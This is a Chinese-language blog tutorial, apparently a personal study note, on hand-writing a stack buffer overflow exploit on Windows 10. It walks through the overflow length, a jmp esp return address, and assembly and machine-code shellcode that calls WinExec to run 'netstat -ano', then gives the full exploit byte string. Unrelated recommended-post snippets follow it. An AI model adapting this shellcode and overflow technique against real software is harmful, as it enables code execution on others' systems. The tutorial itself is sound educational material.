0x01 介绍

Exploit 的英文意思就是利用,它在黑客眼里就是漏洞利用。有漏洞不一定就有Exploit(利用),有Exploit就肯定有漏洞。编写缓冲区溢出的Exploit分为3个方面:漏洞溢出长度+返回地址利用+shellcode

测试环境:C-free5 + Windows10 + 2019年1月25日

0x02 测试漏洞溢出长度

1、测试漏洞溢出长度意思是看看可利用的漏洞需要多少字节溢出到返回地址,下面是示例程序



2、这个程序储存test[5]这个字符串变量的栈地址是这样的



3、所以需要24个字节才能完全覆盖返回地址(20到24的4个字节为返回地址),下面是溢出的16进制代码共16字节,那么溢出的代码就完成了,下面要利用返回地址

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41

0x03 返回地址利用

1、程序已经覆盖了返回地址了,那怎么才能跳到我们的shellcode呢,这时候就需要利用返回地址了,学习的时候讲了一种方法就是利用jmp esp来跳到shellcode,意思是溢出到返回地址返回的时候(esp这时候是指向返回地址的),利用返回地址跳到jmp esp这个语句,之后执行jmp esp就会跳到原先的返回地址,之后的数据代码就会被当作程序代码执行,从而达到了返回地址的利用

2、那么怎么找到jmp esp这个语句呢,需要编写特定的程序在常驻在内存中的dll中寻找,这里我网上搜索了一个,恰好我的windows10操作系统能用(可能开了过多的服务…),以下就是返回地址0x7FFA4512

"\x12\x45\xfa\x7f"

0x04 编写shellcode

1、shellcode就是执行的代码,至于怎么执行依据功能而定,比如简单的可以弹出对话框、执行cmd程序、关机等,复杂的可能进行网络通讯,监控系统,关闭杀毒软件,传输木马病毒等等

2、如何编写shellcode呢,要想被系统执行,通常为16进制的汇编代码,利用OD就可以编写了,这里我编写的是执行netstat -ano这个系统命令

ps:编写shellcode有非常多的问题,主要体现在API函数的调用上面,只要调用的时候除了一点点错误,系统都不会将数据复制进来,换句话说只要一个API出错,这个API下面的代码都白搭,都不会执行卡在那了。下图代码的意思就不说了,自己百度,不然又是几个小时



3、代码给贴出来了,如果不懂可以看:栈储存字符串的原理

push ebp // 压入ebp,保存环境

mov ebp,esp // 这个不多说了吧

push eax // 预留16字节栈空间储存"netstat -ano"

push eax // push一个eax4个字节

push eax

push eax

mov byte ptr ss:[ebp-0x10],0x6E // 字符串 “n”

mov byte ptr ss:[ebp-0xF],0x65 // 字符串 “e”

mov byte ptr ss:[ebp-0xE],0x74 // 字符串 “t”

mov byte ptr ss:[ebp-0xD],0x73 // 字符串 “s”

mov byte ptr ss:[ebp-0xC],0x74 // 字符串 “t”

mov byte ptr ss:[ebp-0xB],0x61 // 字符串 “a”

mov byte ptr ss:[ebp-0xA],0x74 // 字符串 “t”

mov byte ptr ss:[ebp-0x9],0x20 // 字符串 “空格”

mov byte ptr ss:[ebp-0x8],0x2D // 字符串 “-”

mov byte ptr ss:[ebp-0x7],0x61 // 字符串 “a”

mov byte ptr ss:[ebp-0x6],0x6E // 字符串 “n”

mov byte ptr ss:[ebp-0x5],0x6F // 字符串 “o”

push 0x1 // 压入第二个参数0x1也就是SW_SHOWNORMAL(汇编调用API压参数是反过来的)

lea eax,dword ptr ss:[ebp-0x10]

push eax //压入第一个参数也就是字符串“netstat -ano”的首地址ebp-0x10

call WinExec //调用WinExec这个函数,这个注意了每台机器上的机器码可能不同

4、贴出WinExec函数原型

5、对应的机器码,就是OD代码右边的东西

"\x55"
"\x8b\xec"
"\x50"
"\x50"
"\x50"
"\x50"
"\xc6\x45\xf0\x6e"
"\xc6\x45\xf1\x65"
"\xc6\x45\xf2\x74"
"\xc6\x45\xf3\x73"
"\xc6\x45\xf4\x74"
"\xc6\x45\xf5\x61"
"\xc6\x45\xf6\x74"
"\xc6\x45\xf7\x20"
"\xc6\x45\xf8\x2d"
"\xc6\x45\xf9\x61"
"\xc6\x45\xfa\x6e"
"\xc6\x45\xfb\x6f"
"\x6a\x01"
"\x8d\x45\xf0"
"\x50"
"\xe8\x16\x3a\xb0\x74"

0x5 组合代码形成Exploit

16进制代码的顺序为:漏洞溢出长度+返回地址利用+shellcode

"\x41\x41\x41\x41"
"\x41\x41\x41\x41"
"\x41\x41\x41\x41"
"\x41\x41\x41\x41"
"\x41\x41\x41\x41" // 溢出代码
"\x12\x45\xfa\x7f" // 返回地址
"\x55" // shellcode
"\x8b\xec"
"\x50"
"\x50"
"\x50"
"\x50"
"\xc6\x45\xf0\x6e"
"\xc6\x45\xf1\x65"
"\xc6\x45\xf2\x74"
"\xc6\x45\xf3\x73"
"\xc6\x45\xf4\x74"
"\xc6\x45\xf5\x61"
"\xc6\x45\xf6\x74"
"\xc6\x45\xf7\x20"
"\xc6\x45\xf8\x2d"
"\xc6\x45\xf9\x61"
"\xc6\x45\xfa\x6e"
"\xc6\x45\xfb\x6f"
"\x6a\x01"
"\x8d\x45\xf0"
"\x50"
"\xe8\x16\x3a\xb0\x74"

0x6 测试







成功运行了netstat -ano这个命令,本次学习测试到此结束

缓冲区溢出之栈溢出利用(手动编写无 payload 的 Exploit)的更多相关文章

  1. Kali学习笔记22:缓冲区溢出漏洞利用实验

    实验机器: Kali虚拟机一台(192.168.163.133) Windows XP虚拟机一台(192.168.163.130) 如何用Kali虚拟机一步一步“黑掉”这个windowsXP虚拟机呢? ...

  2. CSAPP 缓冲区溢出试验

    缓冲区溢出试验是CSAPP课后试验之一,目的是: 更好的理解什么是缓冲区溢出 如何攻击带有缓冲区溢出漏洞的程序 如何编写出更加安全的代码 了解并理解编译器和操作系统为了让程序更加安全而提供的几种特性 ...

  3. Kali学习笔记21:缓冲区溢出实验(漏洞发现)

    上一篇文章,我已经做好了缓冲区溢出实验的准备工作: https://www.cnblogs.com/xuyiqing/p/9835561.html 下面就是Kali虚拟机对缓冲区溢出的测试: 已经知道 ...

  4. Linux下缓冲区溢出攻击的原理及对策(转载)

    前言 从逻辑上讲进程的堆栈是由多个堆栈帧构成的,其中每个堆栈帧都对应一个函数调用.当函数调用发生时,新的堆栈帧被压入堆栈:当函数返回时,相应的堆栈帧从堆栈中弹出.尽管堆栈帧结构的引入为在高级语言中实现 ...

  5. CVE-2009-0927-Adobe Reader缓冲区溢出漏洞分析

    0x00概述: 此漏洞的成因是由于Adobe Reader在处理PDF文档中所包含的JavaScript脚本时的Collab对象的getlcon()方式不正确处理输入的参数,而产生的缓冲区溢出,成功利 ...

  6. 缓冲区溢出利用与ShellCode编写

    一.实验目的 熟悉编写shellCode的流程 掌握缓冲区溢出的利用 二.实验环境 系统环境:Windows环境 软件环境:C++ ,缓冲区溢出文件链接 三.实验原理 要实施一次有效的缓冲区溢出攻击, ...

  7. 缓冲区溢出利用——捕获eip的傻瓜式指南

    [译文] 摘要:为一个简单的有漏洞程序写一个简单的缓冲区溢出EXP,聚焦于遇到的问题和关键性的教训,提供详细而彻底的描述 内容表:1. I pity the fool, who can't smash ...

  8. 网络安全(超级详细)零基础带你一步一步走进缓冲区溢出漏洞和shellcode编写!

    零基础带你走进缓冲区溢出,编写shellcode. 写在前面的话:本人是以一个零基础者角度来带着大家去理解缓冲区溢出漏洞,当然如果你是开发者更好. 注:如果有转载请注明出处!创作不易.谢谢合作. 0. ...

  9. 缓冲区溢出分析第05课:编写通用的ShellCode

    前言 我们这次的实验所要研究的是如何编写通用的ShellCode.可能大家会有疑惑,我们上次所编写的ShellCode已经能够很好地完成任务,哪里不通用了呢?其实这就是因为我们上次所编写的ShellC ...

随机推荐

  1. C语言中指针和多维数组

    指针和多维数组 数组名是特殊的指针 数组是一个特殊的指针,多维数组也是更为复杂的数组,它们的关系是什么样的呢? 我们通过一个简单的例子来比较形象的了解指针和多维数组: int a[2][3]; 这是一 ...

  2. IDEA中便捷内存数据库H2的最简使用方式

    在IDEA中有时候为了练习,需要使用到数据库,但如果自己工作或开发机子上本来没有安装数据库,也没有可用的远程数据库时,我们可以直接在IDEA环境上使用便捷式的内存数据库H2,关于H2更多知识就自己去找 ...

  3. C#中委托、匿名函数、Lambda表达式的一些个人理解

    0x01定义一个委托,相当于定义一个可以存储方法的特殊变量类型 下面我们看具体的代码,通过代码更好理解 delegate void IntMethodInvoker(int x); 这行代码就是声明一 ...

  4. 设计模式系列之原型模式(Prototype Pattern)——对象的克隆

    说明:设计模式系列文章是读刘伟所著<设计模式的艺术之道(软件开发人员内功修炼之道)>一书的阅读笔记.个人感觉这本书讲的不错,有兴趣推荐读一读.详细内容也可以看看此书作者的博客https:/ ...

  5. 大括号之谜:C++的列表初始化语法解析

    有朋友在使用std::array时发现一个奇怪的问题:当元素类型是复合类型时,编译通不过. struct S { int x; int y; }; int main() { int a1[3]{1, ...

  6. .NET 5学习笔记(11)—— Host Blazor WebAssembly in a Windows Service

    实在是被某软忽悠瘸了,愤而写此一篇.希望能让同样需求的同学们少走弯路.某软在<在 Windows 服务中托管 ASP.NET Core>中,介绍了通过创建Worker Service工程, ...

  7. TensorFlow学习(1)

    初识TensorFlow 一.术语潜知 深度学习:深度学习(deep learning)是机器学习的分支,是一种试图使用包含复杂结构或由多重非线性变换构成的多个处理层对数据进行高层抽象的算法. 深度学 ...

  8. 【odoo14】第一章、安装odoo的开发环境

    有几种方式去设置odoo的开发环境,我们将逐个介绍他们. 如果你之前没有接触过odoo的开发环境,那么有几个必要的概念你是需要了解的.在这一章节中,我们首先介绍odoo的生态.然后我们在进行介绍odo ...

  9. Selenium 4.0beta:读源码学习新功能

    Selenium 4 源码分析 这一篇文章我们来分析Selenium 4 python版源码. 除非你对Selenium 3的源码烂熟于心,否则通过对比工具分析更容易看出Selenium 4更新了哪些 ...

  10. React实用技巧

    取消请求 React 中当前正在发出请求的组件从页面上卸载了,理想情况下这个请求也应该取消掉,那么如何把请求的取消和页面的卸载关联在一起呢? 这里要考虑利用 useEffect 传入函数的返回值: u ...